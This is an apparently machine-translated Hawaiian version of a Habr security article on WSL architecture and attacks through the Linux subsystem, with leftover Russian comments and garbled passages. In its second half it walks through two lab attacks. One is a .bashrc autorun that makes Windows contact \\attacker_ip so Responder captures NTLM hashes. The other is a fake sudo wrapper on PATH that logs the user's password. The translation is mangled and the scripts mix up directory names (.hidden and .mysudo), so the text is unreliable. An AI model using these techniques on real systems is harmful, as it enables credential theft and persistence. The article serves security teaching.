Nā hoʻokolohua WSL. Mahele 1

Aloha, habr! Hoʻomaka ʻo OTUS i kahi kahawai papa hou i ʻOkakopa "Ka palekana Linux". I ka hoʻomaka ʻana o ka papa, ke kaʻana aku nei mākou iā ʻoe i kahi ʻatikala i kākau ʻia e kekahi o kā mākou kumu, ʻo Alexander Kolesnikov.

Nā hoʻokolohua WSL. Mahele 1

Ma 2016, ua hoʻolauna ʻo Microsoft i ka ʻenehana WSL hou i ke kaiāulu IT (Wʻaiʻē Subsystem no Linux), ka mea i ka wā e hiki mai ana i hiki ai ke hoʻohui i nā mea hoʻokūkū mua ʻole e hakakā nei no ka kaulana i waena o nā mea hoʻohana OS maʻamau a holomua: Windows a me Linux. Ua hiki i kēia ʻenehana ke hoʻohana i nā mea hana Linux OS ma kahi Windows me ka ʻole o ka pono e holo Linux, no ka laʻana, me ka hoʻohana ʻana i ka Multi-boot. Ma Habr hiki iā ʻoe ke ʻike i ka nui o nā ʻatikala e wehewehe ana i nā pono o ka hoʻohana ʻana iā WSL. Eia nō naʻe, ʻo ka mea pōʻino, i ka manawa i hana ʻia ai kēia ʻatikala, ʻaʻohe haʻawina e pili ana i ka palekana o ia symbiosis o nā ʻōnaehana hana i loaʻa ma kēia kumuwaiwai. E ho'āʻo ana kēia pou e hoʻoponopono i kēia. E kamaʻilio ka ʻatikala e pili ana i nā hiʻohiʻona o ka WSL 1 a me 2 architecture a nānā i kekahi mau hiʻohiʻona o ka hoʻouka ʻana i nā ʻōnaehana e hoʻohana ana i kēia mau ʻenehana. Ua māhele ʻia ka ʻatikala i 2 ʻāpana. E hāʻawi ka mea mua i nā ʻano hoʻouka kaua koʻikoʻi mai Linux a me Windows. ʻO ka ʻatikala ʻelua e pili ana i ka hoʻonohonoho ʻana i kahi ʻano hoʻāʻo a me ka hana hou ʻana i nā hoʻouka ʻana.

WSL 1: nā hiʻohiʻona hale

No ka luʻu pono loa i nā pilikia palekana WSL, pono e hoʻoholo i nā nuances nui e pili ana i ka hoʻokō ʻana o ka subsystem. ʻO kekahi o nā hana mea hoʻohana nui i hoʻoholo ʻia e WSL ʻo ia ka hiki ke hana ma o kahi kikowaena Linux ma kahi host e holo ana i ka Windows OS. Eia kekahi, ʻo ka hoʻohālikelike i hāʻawi ʻia he ʻōiwi maoli ia e hiki ke holo pololei ʻia nā Linux executables (ELFs) ma kahi ʻōnaehana Windows. No ka hoʻokō ʻana i kēia mau pahuhopu, ua hana ʻia kahi subsystem kūikawā i loko Windows 10 e hiki ai iā ʻoe ke holo i nā noi Linux me ka hoʻohana ʻana i kahi pūʻulu o nā kelepona ʻōnaehana kikoʻī - no laila, ua hoʻāʻo ʻia e palapala i kahi pūʻulu o Linux syscalls ma Windows. Ua hoʻokō kino ʻia kēia ma ka hoʻohui ʻana i nā mea hoʻokele hou a me kahi ʻano hana hou. ʻIke ʻia ke ʻano o ka hale hana penei:

Nā hoʻokolohua WSL. Mahele 1

ʻO ka ʻoiaʻiʻo, ua hoʻonohonoho ʻia ka launa pū me ka ʻōnaehana Linux ma o nā modula kernel a me kahi ʻano hana kūikawā - pico. Mai ke kiʻikuhi ma luna, hiki iā ʻoe ke ʻike i ke kaʻina hana e holo ana ma ka Linux ma luna o ka host he mea maoli a pono e hoʻohana i nā kumuwaiwai like me nā noi Windows maʻamau. Akā, pehea e hoʻokō ai i kēia? Ma ka papahana Alahaka huki Ua hoʻomohala ʻia nā manaʻo kaʻina hana no Windows e hāʻawi i nā mea pono āpau o ka ʻōnaehana hana (e pili ana i kāna mana) e holo i kahi noi o kekahi OS.

E hoʻomaopopo i ka abstraction i manaʻo ʻia i hiki ʻole ke nānā aku i ka ʻōnaehana hana (ma ka Windows), kahi i manaʻo ʻia e hoʻomaka ai ke kaʻina hana o kahi OS ʻē aʻe, a manaʻo ʻia kahi ala maʻamau.

No laila, hiki ke holo kekahi noi i loko o ke kaʻina pico me ka nānā ʻole i ka kernel Windows:

  1. Pono e hoʻoponopono ʻia nā pilikia o ka hoʻohālikelike a me ka unuhi ʻana o nā kelepona ʻōnaehana e nā mea hoʻolako kūikawā;
  2. Pono e hana ʻia ka mana komo ma o ka Security Monitor. Aia ka monitor i loko o ka kernel a no laila makemake ʻo Windows i kahi hoʻonui i ke ʻano o kahi mea hoʻokele hou e hiki ke hana ma ke ʻano he mea hoʻolako no ia mau kaʻina hana. Hōʻike ʻia ke kaʻina hana prototype pico ma lalo nei:

Nā hoʻokolohua WSL. Mahele 1

Ma muli o ka hoʻohana ʻana o ka ʻōnaehana faila Linux i ka faila a me nā inoa papa kuhikuhi, ua hoʻohui ʻia nā ʻano faila 2 i Windows e hana pū me WSL - VolFS a me DriveFS. ʻO VolFS kahi hoʻokō o ka ʻōnaehana faila Linux, ʻo DriveFS kahi ʻōnaehana faila e hana ana e like me nā lula Windows, akā hiki iā ia ke koho i ka ʻike hihia.

WSL 2

Ua loaʻa i ka WSL 1 kekahi mau palena i hiki ʻole ke hoʻohana ʻia e hoʻoponopono i ka nui o nā hana: no ka laʻana, ʻaʻole hiki iā ia ke holo i nā noi Linux 32-bit, a ʻaʻole hiki ke hoʻohana i nā mea hoʻokele. No laila, i ka makahiki 2020, ua hoʻokuʻu ʻia ʻo WSL 2, ka mea i hoʻololi i ke ala e kūkulu ai i ka subsystem. ʻO WSL 2 kahi mīkini virtual i hoʻopaʻa ʻia e kūpono i nā ʻano hoʻohana waiwai o WSL 1. I kēia manawa, ma muli o nā pilikia i hoʻoponopono ʻia e ka mea hoʻohana Windows OS, hiki iā ʻoe ke koho i ka mana o ka subsystem Linux. No ka hoʻohaʻahaʻa ʻana i nā nāwaliwali hiki ke hoʻokō ʻia, ua hoʻokō ʻia ʻo WSL 2 ma muli o Hyper-V i Windows 10. Ma kēia ʻano, hiki i ka Windows ke holo i ka kernel ʻōnaehana Linux ma kahi kaʻawale. Pono e hoʻomanaʻo i ka mana 1 o WSL i hoʻokomo ʻia he hiʻohiʻona beta i manaʻo ʻia e hōʻike i ke kuhikuhi o ka hoʻomohala ʻana o Windows ma kēia wahi, no laila ʻaʻole hiki ke hoʻololi i ka Hyper-V. ʻO ka hoʻolālā hope loa e like me kēia:

Nā hoʻokolohua WSL. Mahele 1

Ma kēia mana, loaʻa i nā kernels Windows a me Linux ko lākou mau kumuwaiwai ponoʻī a aia ka intersection i loko o ka ʻōnaehana faila, akā ʻaʻole i pau kēia intersection. Hoʻopili ʻia ka pilina ma waena o nā ʻōnaehana faila ma o kahi mea hoʻopili mea kūʻai aku e hana ana me ka protocol 9P.

I kēia lā, hāʻawi ʻo Microsoft i ka hiki ke hoʻololi ma waena o WSL 1 a me WSL 2. Loaʻa nā mana ʻelua no ka hoʻohana.

Palekana WSL

I kēia manawa, nui nā hana e wehewehe ana i kekahi mau ala e hoʻohana ai i nā mea hana OS kūpono e hoʻouka i ka kamaʻilio ma waena o nā subsystems. E hoʻohana mākou i kā lākou mau palapala e nānā i ka pili o nā hoʻouka ʻana i ka manawa kākau. Ka papa inoa o nā hōʻeha a me nā hiʻohiʻona:

1. Ka hoʻokō ʻana i ka ʻōnaehana waihona: nā kuleana komo, ka loaʻa ʻana o nā papa kuhikuhi kaʻana like/nā ʻano hoʻololi ʻikepili.

Ua mālama ʻia ka noiʻi no ka hoʻoholo ʻana i ka uhaki ʻana i nā lula komo mai Linux FS->Windows FS, Windows FS->Linux FS. Ua hōʻike ka noiʻi i ka hiki ke hoʻololi i kahi faila i hāʻawi ʻia i loko o ka OS target. Ua hoʻāʻo pū ʻia e pani, hana i nā kope a holoi i kahi ʻāpana o nā ʻōnaehana faila.

Hōʻike:

  • A. Hoʻouka mai ka ʻōnaehana hana Windows - hoʻololi i nā faila mai ka papa kuhikuhi /etc o ka Linux OS.
  • B. Attack mai ka Linux operating system - hoʻololi i nā faila ma nā papa kuhikuhi: C:Windows, C:Program Files, C:Users<User>

2. Ka hoʻokō ʻana i ka waihona pūnaewele.

Ua hana ʻia ka noiʻi me ka hoʻohana ʻana i nā hiʻohiʻona o ka hoʻouka ʻana mai ka ʻōnaehana hana Linux ma Windows. Ua hoʻohana ʻia nā hiʻohiʻona o ka waihona pūnaewele, ʻo ia hoʻi, nā mīkini hōʻoia ma nā kumuwaiwai like ʻole.

Hōʻike:

  • Ke wehe ʻana i ke komo ʻana i kahi awa i noho ʻia ma kahi ʻōnaehana Windows
  • Wehe i kahi awa me ka ʻole o nā kuleana kūpono
  • Ke holo nei i hope me ka hoʻohana ʻana i ka faila elf ma ka ʻōnaehana hana Windows.

3. Hūnā i ka hoʻomaka ʻana o nā kaʻina polokalamu ʻino me ka hoʻohana ʻana i ka subsystem WSL.

Ua hoʻokumu ʻia ka noiʻi ma kahi ʻoiaʻiʻo maʻalahi - ʻaʻole hiki i nā subsystem palekana ke hoʻokaʻawale i nā hanana i loko o kahi kernel ʻē aʻe e hana ana me ka hoʻohana ʻana i kahi mea hoʻolako kūpono mai ka ʻōnaehana hana i ka hihia o WSL 1. I ka hihia o WSL 2, ʻaʻohe ala e ʻike ai i nā hanana e hiki mai ana. i loko o kahi kernel ʻokoʻa i loko o ka mīkini virtual māmā.

Hōʻike:

1) E hoʻomaka i ka noi no ke komo mamao i ka ʻōnaehana a nānā i nā hanana i hoʻopaʻa ʻia.

Nā hoʻokolohua WSL 1: hoʻopaʻa hash (Windows)

ʻO ka hope ua hiki mākou i ka ʻāpana hana. ʻO ka mea mua, pono ʻoe e hoʻonohonoho i ke kaiapuni hoʻāʻo. E hoʻokō ʻia nā hoʻokolohua āpau ma kahi papa me Windows 10 Ua hoʻokomo ʻia ʻo 2004. Ua koho ʻia ke kiʻi Ubuntu 18.04 e like me ke kiʻi ʻōnaehana hana no WSL. Ua koho wale ʻia ke kiʻi, a e hana like nā mea ʻē aʻe. Nā kauoha no ka hoʻonohonoho ʻana i kahi kū:

Pono ʻoe e hoʻomaka mua powershell.exe ma ke ano luna.

No WSL 1 pono ʻoe e holo i nā kauoha:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Ma hope o ka rebooting i ke kū, hiki iā ʻoe ke kāhea i ke kauoha bash. Inā hana pololei nā mea a pau, e ʻike ʻoe i ka hopena e like me kēia ma ka console Windows:

    Nā hoʻokolohua WSL. Mahele 1

    E hoʻohana mākou i ka hoʻoili Kali Linux ma ke ʻano he mīkini o ka mea hoʻouka; pono nā mīkini āpau ma ka pūnaewele kūloko like.

    E noʻonoʻo mākou ua loaʻa iā mākou ke komo pono ʻole iā WSL ma kahi mīkini Windows. E hoʻāʻo kākou e hoʻouka i ka ʻōnaehana hana Linux ma ke kāhea ʻana i kahi kauoha mai Linux. No ka hoʻokō ʻana i ka hoʻouka ʻana, e hoʻohana mākou i kahi ʻenehana autorun maʻalahi - e hoʻohui mākou i kā mākou palapala no ka hoʻokō ʻana ma ka Linux Linux. No ka hana ʻana i kēia, pono ʻoe e hoʻololi i ka faila .bashrc.

    Ma kahi mīkini me WSL mākou e hana ai:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Ma kahi mīkini Kali Linux mākou e holo ai:

    1. Responder -I eth0 -rdvw

    Ma kahi mīkini Windows, e hoʻomaka kākou i ka bash.

    Ke kali nei mākou i ka hopena ma ka mīkini Kali Linux:

    Nā hoʻokolohua WSL. Mahele 1

    No laila, loaʻa iā mākou ka hashes o ka mea hoʻohana Windows ma o ka subsystem WSL ma ka hoʻokō ʻana i ke kauoha ma ka ʻōnaehana Linux.

    Nā hoʻokolohua WSL 1: loaʻa ka ʻōlelo huna mea hoʻohana (Linux OS)

    E hana hou kāua i hoʻokahi hoʻokolohua. Ma kēia hōʻoia e hoʻohui mākou i ka faila .bashrc mau kauoha i mea e loaʻa ai ka ʻōlelo huna mea hoʻohana Linux operating system.

    E hoʻomaka kākou i ka bash a komo i nā kauoha:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    No ka hoʻokō pono ʻana i ka hoʻouka ʻana, pono ka mea hoʻohana ʻo Sam e kāhea sudo ma ka Linux terminal. Ma hope o kēia, aia ka ʻōlelo huna mea hoʻohana Linux OS i ka faila pass.txt:

    Nā hoʻokolohua WSL. Mahele 1

    Ua hāʻawi ʻia ka hoʻokō ʻana i nā hoʻouka ʻana no ka ʻike theoretical wale nō.

    ʻO ka ʻaoʻao aʻe o ka ʻatikala e wehewehe i ka hoʻokō ʻana i ka protocol 9P, e noʻonoʻo i ka hana ʻana i kahi scanner no kēia protocol, a hoʻokō pū i kahi hoʻouka ʻana me ia.

    Papa inoa o nā puke i hoʻohana ʻia

    Nā hoʻokolohua WSL. Mahele 1

    Heluhelu hou aku

    Source: www.habr.com

    Pākuʻi i ka manaʻo hoʻopuka